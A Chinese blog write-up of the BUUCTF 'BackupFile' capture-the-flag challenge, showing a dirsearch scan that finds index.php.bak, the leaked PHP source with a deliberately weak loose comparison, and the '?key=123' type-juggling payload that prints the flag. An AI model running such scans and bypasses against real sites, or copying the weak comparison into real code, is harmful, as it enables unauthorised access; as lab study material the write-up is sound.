

BUUCTF--[ACTF2020 新生赛]BackupFile

原创

Uzero 于 2021-07-03 18:56:40 发布 60 收藏 1

版权声明：本文为博主原创文章，遵循 [CC 4.0 BY-SA](#) 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/qq_46263951/article/details/118443696

版权

首先进去之后可以看到给出的提示

Try to find out source file!

F12大法和御剑并没有找到相应的文件，尝试使用dirsearch

```
python3 dirsearch.py -u "url地址"
```



```
dirsearch-master — Python dirsearch.py -u http://55552fc0-6bb3-42b0-8634-1...
[18:03:59] 429 - 568B - /imprimer.js
[18:04:00] 429 - 568B - /imprint.html
[18:04:00] 429 - 568B - /in
[18:04:00] 429 - 568B - /in/
[18:04:02] 500 - 576B - /include_admin.aspx
[18:04:02] 500 - 576B - /includes/fckeditor/editor/filemanager/connectors/aspx
/connector.aspx
[18:04:03] 429 - 568B - /incomming
[18:04:03] 429 - 568B - /index
[18:04:03] 429 - 568B - /index-bak
[18:04:03] 429 - 568B - /index-test.php
[18:04:03] 429 - 568B - /index.php
[18:04:04] 429 - 568B - /index.aspx
[18:04:04] 429 - 568B - /index.jsp
[18:04:04] 429 - 568B - /index.html
[18:04:05] 429 - 568B - /index.js
[18:04:05] 429 - 568B - /index.000
[18:04:05] 429 - 568B - /index.001
[18:04:06] 429 - 568B - /index.7z
[18:04:07] 200 - 347B - /index.php.bak
[18:04:08] 429 - 568B - /info.html
[18:04:08] 429 - 568B - /info.js
[18:04:08] 429 - 568B - /info.json
[18:04:08] 429 - 568B - /info.txt
```

我们扫描到一个.bak文件，访问下载后得到一串php代码

```
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}
```

php中有两种比较符号

=== 会同时比较字符串的值和类型

== 会先将字符串换成相同类型，再作比较，属于弱类型比较

== 对于所有0e开头的都为相等

php中弱类型比较时，会使('1234a' == 1234)为真

这里的重点突破是弱类型比较，所有key只要满足为数字且key不必与str完全相同，构造payload

```
?key=123
```

总结：

掌握dirsearch的使用，了解php弱类型比较绕过。



[创作打卡挑战赛](#) >

[赢取流量/现金/CSDN周边激励大奖](#)